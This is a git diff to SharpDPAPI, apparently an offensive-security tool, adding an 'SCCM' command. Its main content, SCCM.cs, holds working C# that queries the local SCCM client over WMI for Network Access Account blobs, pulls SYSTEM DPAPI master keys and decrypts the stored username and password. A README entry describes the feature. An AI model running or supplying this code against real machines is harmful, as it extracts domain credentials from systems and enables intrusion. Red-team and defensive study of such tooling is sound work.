diff --git a/README.md b/README.md index 1caf7c9..7575a15 100755 --- a/README.md +++ b/README.md @@ -49,6 +49,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license. - [blob](#blob) - [backupkey](#backupkey) - [search](#search) + - [sccm](#sccm) - [SharpChrome Commands](#sharpchrome-commands) - [logins](#logins) - [cookies](#cookies) @@ -1222,7 +1223,7 @@ Retrieve the DPAPI backup key for the specified DC, outputting the backup key to #### search -The **search** comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: +The **search** command will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage: ``` SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors] SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:] [/showErrors] @@ -1243,6 +1244,8 @@ When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\f When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:` parameter. +#### SCCM +If elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The **SCCM** command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs. ## SharpChrome Commands diff --git a/SharpDPAPI/Commands/SCCM.cs b/SharpDPAPI/Commands/SCCM.cs new file mode 100755 index 0000000..d960bb0 --- /dev/null +++ b/SharpDPAPI/Commands/SCCM.cs @@ -0,0 +1,257 @@ +using System; +using System.Text; +using System.Collections.Generic; +using System.Linq; +using System.Management; + +namespace SharpDPAPI.Commands +{ + public class SCCM : ICommand + { + public static string CommandName => "SCCM"; + + public static ManagementScope NewSccmConnection(string path) + { + ConnectionOptions connection = new ConnectionOptions(); + ManagementScope sccmConnection = new ManagementScope(path, connection); + try + { + Console.WriteLine($"[+] Connecting to {sccmConnection.Path}"); + sccmConnection.Connect(); + } + catch (System.UnauthorizedAccessException unauthorizedErr) + { + Console.WriteLine("[!] Access to WMI was not authorized (user name or password might be incorrect): " + unauthorizedErr.Message); + } + catch (Exception e) + { + Console.WriteLine("[!] Error connecting to WMI: " + e.Message); + } + return sccmConnection; + } + + public static string[] GetKeyPropertyNames(ManagementScope sccmConnection, string className) + { + using (ManagementClass managementClass = new ManagementClass(sccmConnection, new ManagementPath(className), new ObjectGetOptions())) + { + return managementClass.Properties + .Cast() + .Where( + property => property.Qualifiers + .Cast() + .Any(qualifier => string.Equals(qualifier.Name, "Key", StringComparison.OrdinalIgnoreCase)) + ) + .Select(property => property.Name) + .ToArray(); + } + } + + + public static void GetClassInstances(ManagementScope scope, string wmiClass, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false) + { + try + { + string query = ""; + string propString = ""; + string whereClause = ""; + string orderByClause = ""; + + if (verbose || count || properties == null) + { + propString = "*"; + } + else + { + string[] keyPropertyNames = GetKeyPropertyNames(scope, wmiClass); + properties = keyPropertyNames.Union(properties).ToArray(); + propString = string.Join(",", properties); + } + if (!string.IsNullOrEmpty(whereCondition)) + { + whereClause = $"WHERE {whereCondition}"; + } + if (!string.IsNullOrEmpty(orderByColumn)) + { + orderByClause = $"ORDER BY {orderByColumn}"; + } + if (count) + { + query = $"SELECT COUNT({propString}) FROM {wmiClass} {whereClause}"; + } + else + { + query = $"SELECT {propString} FROM {wmiClass} {whereClause} {orderByClause}"; + } + + if (dryRun) + { + Console.WriteLine($"[+] WQL query: {query}"); + } + else + { + Console.WriteLine($"[+] Executing WQL query: {query}"); + ObjectQuery objQuery = new ObjectQuery(query); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, objQuery); + Console.WriteLine("-----------------------------------"); + Console.WriteLine(wmiClass); + Console.WriteLine("-----------------------------------"); + foreach (ManagementObject queryObj in searcher.Get()) + { + // Get lazy properties unless we're just counting instances + if (!count) + { + queryObj.Get(); + } + foreach (PropertyData prop in queryObj.Properties) + { + // Print default properties if none specified, named properties if specified, or all properties if verbose + if (properties == null || properties.Length == 0 || properties.Contains(prop.Name) || count || verbose) + { + if (prop.IsArray) + { + // Test to see if we can display property values as strings, otherwise bail. Byte[] (e.g., Device.ObjectGUID) breaks things, Object[] (e.g., Collection.CollectionRules, Collection.RefreshSchedule) breaks things + if (prop.Value is String[]) + { + String[] nestedValues = (String[])(prop.Value); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValues)}"); + } + else if (prop.Value is int[]) + { + int[] nestedValues = (int[])(prop.Value); + string[] nestedValueStrings = nestedValues.Select(x => x.ToString()).ToArray(); + Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValueStrings)}"); + } + else + { + string canConvertToString = prop.Value as string; + if (canConvertToString != null) + { + Console.WriteLine($"{prop.Name}: {canConvertToString}"); + } + else + { + Console.WriteLine($"{prop.Name}: Can't display {prop.Type.ToString()} as a String"); + } + } + } + else + { + Console.WriteLine("{0}: {1}", prop.Name, prop.Value); + } + } + } + Console.WriteLine("-----------------------------------"); + } + } + } + catch (ManagementException err) + { + Console.WriteLine("An error occurred while querying for WMI data: " + err.Message); + } + } + + public static void NAADecrypt(string blob, Dictionary masterkeys) + { + byte[] blobBytes = new byte[blob.Length / 2]; + for (int i = 0; i < blob.Length; i += 2) + { + blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber); + } + + var offset = 4; + byte[] unmangedArray = new byte[blob.Length / 2]; + Buffer.BlockCopy(blobBytes, 4, unmangedArray, 0, blobBytes.Length - offset); + + blobBytes = unmangedArray; + + if (blobBytes.Length > 0) + { + byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob"); + + if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) + { + if (Helpers.IsUnicode(decBytesRaw)) + { + string data = ""; + int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); + if (finalIndex > 1) + { + byte[] decBytes = new byte[finalIndex + 1]; + Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); + data = Encoding.Unicode.GetString(decBytes); + } + else + { + data = Encoding.ASCII.GetString(decBytesRaw); + } + Console.WriteLine(" dec(blob) : {0}", data); + } + else + { + string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " "); + Console.WriteLine(" dec(blob) : {0}", hexData); + } + } + } + } + + public static void LocalNetworkAccessAccountsWmi() + { + if (!Helpers.IsHighIntegrity()) + { + Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!"); + } + else + { + ManagementScope sccmConnection = NewSccmConnection("\\\\localhost\\root\\ccm\\policy\\Machine\\ActualConfig"); + GetClassInstances(sccmConnection, "CCM_NetworkAccessAccount"); + ManagementObjectSearcher searcher = new ManagementObjectSearcher(sccmConnection, new ObjectQuery("SELECT * FROM CCM_NetworkAccessAccount")); + ManagementObjectCollection accounts = searcher.Get(); + if (accounts.Count > 0) + { + foreach (ManagementObject account in accounts) + { + string protectedUsername = account["NetworkAccessUsername"].ToString().Split('[')[2].Split(']')[0]; + string protectedPassword = account["NetworkAccessPassword"].ToString().Split('[')[2].Split(']')[0]; + byte[] protectedUsernameBytes = Helpers.StringToByteArray(protectedUsername); + int length = (protectedUsernameBytes.Length + 16 - 1) / 16 * 16; + Array.Resize(ref protectedUsernameBytes, length); + + Dictionary mappings = Triage.TriageSystemMasterKeys(); + + Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n"); + foreach (KeyValuePair kvp in mappings) + { + Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); + } + Console.WriteLine(); + + try + { + NAADecrypt(protectedUsername, mappings); + NAADecrypt(protectedPassword, mappings); + } + catch (Exception e) + { + Console.WriteLine("[!] Data was not decrypted. An error occurred."); + Console.WriteLine(e.ToString()); + } + } + } + else + { + Console.WriteLine($"[+] Found 0 instances of CCM_NetworkAccessAccount"); + } + } + + } + + public void Execute(Dictionary arguments) + { + Console.WriteLine("\r\n[*] Action: SCCM Triage"); + arguments.Remove("SCCM"); + + LocalNetworkAccessAccountsWmi(); + } + } +} \ No newline at end of file diff --git a/SharpDPAPI/Domain/CommandCollection.cs b/SharpDPAPI/Domain/CommandCollection.cs index f8078e2..8f1bd41 100755 --- a/SharpDPAPI/Domain/CommandCollection.cs +++ b/SharpDPAPI/Domain/CommandCollection.cs @@ -32,6 +32,7 @@ namespace SharpDPAPI.Domain _availableCommands.Add(Vaults.CommandName, () => new Vaults()); _availableCommands.Add(Certificate.CommandName, () => new Certificate()); _availableCommands.Add(Search.CommandName, () => new Search()); + _availableCommands.Add(SCCM.CommandName, () => new SCCM()); } public bool ExecuteCommand(string commandName, Dictionary arguments) diff --git a/SharpDPAPI/SharpDPAPI.csproj b/SharpDPAPI/SharpDPAPI.csproj index fca2a67..05b1ba5 100755 --- a/SharpDPAPI/SharpDPAPI.csproj +++ b/SharpDPAPI/SharpDPAPI.csproj @@ -53,6 +53,7 @@ + @@ -71,6 +72,7 @@ +